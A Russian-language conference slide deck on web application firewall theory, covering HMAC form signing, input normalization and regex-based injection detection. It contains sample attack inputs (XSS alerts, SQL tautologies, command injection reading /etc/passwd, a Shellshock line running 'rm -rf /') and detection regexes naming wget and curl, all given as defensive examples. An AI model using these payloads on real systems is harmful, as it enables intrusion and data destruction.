SlideShare a Scribd company logo
Заголовок
ptsecurity.com
Кто сказал
«WAF»?
Руководитель группы
исследований технологий
защиты Positive Technologies
Денис Колегов
Заголовок
• Руководитель группы исследований технологий защиты
• Доцент, к. т. н., доцент кафедры защиты информации
и криптографии ТГУ
• https://twitter.com/dnkolegov
• dkolegov@ptsecurity.com
# whoami
Заголовок
• Введение
• Теория WAF
• Механизмы защиты WAF
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
# План
Заголовок
Введение
Заголовок
Веб-приложение – клиент-серверное приложение, в котором
клиентом является веб-браузер, сервером – веб-сервер,
а протоколом взаимодействия между ними – веб-протокол
Базовый состав
• Веб-браузер
• Веб-сервер / Сервер приложений
• СУБД
Определение
ЗаголовокКак работает веб-приложение
GET / HTTP/1.1
Host: www.example.com
Connection: close
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
Content-Length: 51
Date: Mon, 29 Aug 2016 10:36:58 GMT
Connection: close
<!DOCTYPE html>
<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>
Заголовок
Огромное количество технологий и их реализаций
Простота использования
Доступность и распространенность
Низкий порог входа
• Для разработчиков
• Для пентестеров / баг-хантеров
• Для злоумышленников
Особенности
Заголовок
В 1990-х годах активно используется принцип внешнего
монитора безопасности
Текущий подход: разрабатывать приложения защищенными,
а не полагаться на внешние механизмы защиты
Владимир Кочетков. Как разработать защищенное
веб-приложение и не сойти при этом с ума
Как правильно защищать приложения?
Заголовок
Необходимо построить многоуровневую защиту
В принципе невозможно устранить уязвимость в самом приложении
• Legacy
• Third-party
Необходимый механизм защиты отсутствует или сложно реализуем
• Защита от подбора паролей
• Управление доступом
• Защита от нежелательной автоматизации
Необходимо немедленно устранить обнаруженную уязвимость до ее
реального устранения в исходном коде
А что если …?
Заголовок
Теория WAF
Заголовок
• An appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation
• A security solution on the web application level which does not depend
on the application itself
• A security policy enforcement point positioned between a web application
and the client end point. This functionality can be implemented in software
or hardware, running in an appliance device, or in a typical server running
a common operating system. It may be a stand-alone device or integrated into
other network components
Что такое WAF?
Web Application Firewall Evaluation Criteria
ЗаголовокКлассический WAF
Заголовок
Обнаружение (detection) атак
• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)
• Обнаружение инъекций
Ослабление (mitigation) атак, от которых трудно защититься
• Проверка на соответствие RFC
• Аутентификация сообщений
• Шифрование (URL, скрытых полей)
• Маскирование
• Блокирование IP, пользователя, завершение сессии
Предотвращение (prevention) – предотвращение использования
обнаруженных уязвимостей
• Виртуальный патчинг
Компоненты
Заголовок
Теория
• Теория формальных языков
• LangSec
Практика
• Модель черного ящика
• Множество технологий
• Отсутствие стандартов
• Развитие клиентских частей веб-приложений
Источники ограничений
Заголовок
Входные данные – формальный язык
WAF – универсальный распознаватель (recognizer) языков атак
на веб-приложения
Можно распознать эквивалентный или менее мощный язык
Теория формальных языков
Грамматика Распознаватель
Типа 0 Машина Тьюринга
Контекстно-зависимая Линейно-ограниченный
автомат
Недетерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Детерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Регулярная Конечный автомат LangSec: Language-theoretic security
Заголовок
Недостаточное (неэффективное) распознавание (insufficient
recognition)
• Распознавание КС-языка с помощью регулярного выражения
Различимость парсеров (parser differentials)
• Одни и те же входные данные распознаются парсерами по-разному
Входные данные сложнее чем детерминированный контекстно-
свободный язык
Теория формальных языков
M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A Taxonomy
of LangSec Errors and How to Expunge Them
Заголовок
Веб-приложение для WAF – это просто последовательность
запросов и / или ответов
Непонимание контекста
Непонимание логики взаимодействия
• Боты
• Взлом аккаунта
• Злоупотребления (abuse / misuse)
Модель черного ящика
Заголовок
• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets
• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP
• Load Balancers: F5 BIG-IP, Citrix NetScaler, …
• Web-servers: Apache, Nginx, IIS, GWS, …
• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …
• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …
• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …
• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …
• JavaScript libraries: jQuery, lodash, …
• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …
• HTML, CSS, XML/SOAP, JSON
Множество технологий
Заголовок
Минута из жизни WAF
ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: waf.example.com
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
function getID(request) {
var rawID = request.getValue('id');
var id = hexdecode(base64decode(rawID));
return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d
// id = <script>alert(1)</script>
Исходный код
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<script>alert(1)</script>
ЗаголовокМинута из жизни WAF
GET /app?pageId=a HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
a({"c":"user@goodmail.com"})
ЗаголовокМинута из жизни WAF
GET /app?pageId=a HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
a({"c":"user@goodmail.com"})
ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
Заголовок
Механизмы защиты WAF
Заголовок
Аутентификация веб-форм
ЗаголовокВ чем проблема?
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="">
<input type="text" name="email" value="user@myshop.com">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&email=user@myshop.com
Заголовок
• CSRF
• SSRF
• Injections (SQLi, XSS, Open Redirect, …)
• Access Control Attacks (IDOR)
• Business Logic
Форма одна, атак много…
ЗаголовокПример
Заголовок
«Подписи запросов» API
• Yahoo, Amazon S3, Facebook
ASP.NET Framework
• Event Validation
• View State MAC
WAF
• ModSecurity: HMAC Token Protection
• F5 Networks ASM: Dynamic Content Value
• Citrix NetScaler: Form Signature
• PT AF: Form Sign
Механизм защиты
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Параметры:
• h – функция HMAC
• p – значение параметра
• k – секретный ключ сервера
Элементарный протокол
ЗаголовокЭлементарный протокол
<html>
<body>
<form action="update" method="POST">
<input type="text" name="p" value="100">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
price=100
Заголовок
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов
• Checkbox
• Option
• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых элементов форм в HTTP-запросах
Ввод данных на стороне клиента
Сложности на практике
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Как использовать этот протокол если значение p формируется
в браузере на основе ввода пользователя?
Ввод данных на стороне клиента
Заголовок
Client ← Server: p, h(k, Tr(p, regex))
Client → Server: p', h(k, Tr(p, regex))
Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))
Параметры:
• regex – валидирующее регулярное выражение для значения параметра
• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих
regex
• Tr("abc123", "[a-z]+" ) = "123"
Валидирующее хэширование
key
string
regex R
HMAC of L(R)
Заголовок
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры
• Имя
• [Значение]
• [Тип]
Метод вычисления токена
Заголовок
2. Построение контейнеров формы
• Контейнер скрытых полей - HFC
HFC = {hp1_name, …, hpM_name}
• Контейнер опциональных полей - OFC
OFC = {
{op1_name, op1_value1, …, op1_valueN1},
…,
{opL_name, opL_value1, …, opL_valueNL}
}
Метод вычисления токена
Заголовок
3. Вычисление подписи
signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))
• k – секретный ключ
• time – текущее значение времени
Метод вычисления токена
Заголовок
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей, если они есть
7. Формирование ABS и его проверка
Метод проверки токена
Заголовок
• Нельзя защитить формы, динамически сгенерированные
на стороне клиента средствами JavaScript
• Необходимо различать запросы, отправленные средствами
веб-форм от запросов AJAX
• Нельзя защитить формы, отправляемые на сервер
методом GET
Ограничения метода
Заголовок
• Защита приложения от анализа
• Уменьшение поверхности атак на приложение
• Противодействие средствам автоматизации
• Предотвращение использования эксплойтов
Результаты
ЗаголовокПример: исходная форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
ЗаголовокПример: описание языка
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
Регулярный язык: dd*
ЗаголовокПример: генерация токена
ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")
HFC = "#price#role"
signature = HMAC(k, HFC · HMAC(k, ABS, time))
token = base64(HFC · signature · time)
ЗаголовокПример: новая форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
<input type="hidden" name="token" value="2341234123…">
</form>
</body>
</html>
ЗаголовокПример: аутентичный запрос
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака CSRF
POST /delete HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=
ЗаголовокПример: атака повтора
POST /admin/delete_account HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=43538475283745823748572345374527345
user=100001&token=2341234123…
ЗаголовокПример: атака на бизнес-логику
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака HPP
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&price=-100&token=2341234123…
ЗаголовокПример: атака IDOR
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака XSS
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
Заголовок
Обнаружение инъекций
Заголовок
Normalization
Negative security model (Blacklisting)
• Signature-based (regular expressions, text)
• Rule-based
• Syntax-based
Positive security model (Whitelisting)
• Static Profiling
• Dynamic Profiling
• Machine learning
Механика обнаружения инъекций
Web Application Firewall Evaluation Criteria
Заголовок
Основной признак инъекции
Заголовок
Алгоритм формирования выходных данных DOUTPUT на основе
входных данных DINPUT уязвим к атаке инъекции, если
дерево разбора (parse tree) для DOUTPUT зависит от DINPUT
Признак уязвимости к инъекции
ЗаголовокПример
http://example.com/foo.html#1
http://example.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
<script> var foo = 1; <script>
ЗаголовокПример
var foo = 1; var foo = 1; alert(1);
Заголовок
SQL: id=42' or 1=1-- -
HTML: 111"><a href = "//evil.com">
JavaScript: 1"; alert(document.domain);//
Shell Command Injection: 192.168.10.1 && cat /etc/passwd
LDAP Injection: admin)|((userpassword=*)
XPath Injection: user' or name()='admin' or 'x'='y
Shellshock: test () { :; }; rm –rf /
Примеры инъекций
Заголовок
Нормализация
Заголовок
Нормализация – процесс преобразования данных к формату защищаемого веб-приложения
Цель – устранение недостатка типа Differential Parsing
Кодирование
• URL decoding
• Null-byte string termination
• BASE64 decoding
• HTML entities decoding
• IIS-specific Unicode encoding
• Double encoding
Парсинг
• URL Path
• HTTP Parameters
• Hostname
Нормализация
ЗаголовокПример
GET /update?id=1+union+select+1/* HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0)
Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
ЗаголовокПример
GET /update?id=1;select+1&id=2,3# HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0)
Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
ASP.NET/IIS
id = 1;SELECT 1,2,3 #
PHP/Apache
id = 2,3 #
ЗаголовокОбработка Path
ЗаголовокHTTP Parameter Pollution
ЗаголовокHTTP Parameter Contamination
Заголовок
Основные принципы нормализации
• Приведение обрабатываемых данных к такому же формату и виду,
к каким приведет его защищаемое веб-приложение
• Эквивалентный парсинг
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding
Network Intrusion Detection. Secure Networks, Inc. 1998.
Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls.
Нормализация
Заголовок
Negative Security Model
Заголовок
Лексический подход (регулярные выражения)
Лексико-сигнатурный подход
• libinjection (Nick Galbreath)
Синтаксический подход (parsing-based)
• libdetection (Wallarm)
• waf.js (Positive Technologies)
• Indexed Syntax Graph (Shape Security)
Negative Security Model
Заголовок
Лексический подход
Заголовок
Использование регулярных выражений (конечных автоматов)
для распознавания регулярного языка атак
Имеется L – регулярный язык атак, заданный регулярными
выражениями R
Если входное слово принадлежит языку L, т. е. допускается
регулярным выражением из R, то входное слово – атака
Лексический подход
ЗаголовокЛексический подход
(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?:"|')|((?:'|
")WScript.Shell)
LDAP Search Filter Injection
(?:((?:W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)bW*?=|[^wx80-xFF]*?[!&|][^wx80-
xFF]*?()|)[^wx80-xFF]*?([^wx80-xFF]*?[!&|])
Reflected File Download
SSRF
(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress.zlib|glob|data)://
(?i:(?:[;|`]W*?bcc|b(wget|curl))b|/cc(?:['"|;`-s]|$))
OS Command Injection
SSI Injection
<!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)
ЗаголовокЛексический подход
Reflected File Download
ЗаголовокЛексический подход
SQL Injection
# Detect SQL Comment Sequences
(/*!?|*/|[';]--|--[srnvf]|(?:--[^-]*?-)|([^-&])#.*?[srnvf]|;?x00)
# SQL Hex Evasion Methods
(?i:(?:A|[^d])0x[a-fd]{3,}[a-fd]*)+
# String Termination/Statement Ending Injection Testing
(^["'`´’‘;]+|["'`´’‘;]+$)
# SQL Operators
(?i:(!=|&&||||>>|<<|>=|<=|<>|<=>|bxorb|brlikeb|bregexpb|bisnullb)|(?:nots+betweens+0s+and)|(?:iss+null)|(likes+
null)|(?:(?:^|W)in[+s]*([sd"]+[^()]*))|(?:bxorb|<>|rlike(?:s+binary)?)|(?:regexps+binary))
# SQL Tautologies
(?i:([s'"`´’‘()]*?)b([dw]++)([s'"`´’‘()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`´’‘()]*?)2b|(?:!=|<=|>=|<>|<|>|^|iss
+not|nots+like|nots+regexp)([s'"`´’‘()]*?)(?!2)([dw]+)b))
# Detect DB Names
(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast
er..sysdatabases|ysql.db)|s(?:ys(?:.database_name|aux)|chema(?:W*(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)eW*(|
information_schema|pg_(catalog|toast)|northwind|tempdb))
ЗаголовокЛексический подход
SQL Injection
(?i:b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u
ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_
(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca
se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp
diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|
o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas
e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad
d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)
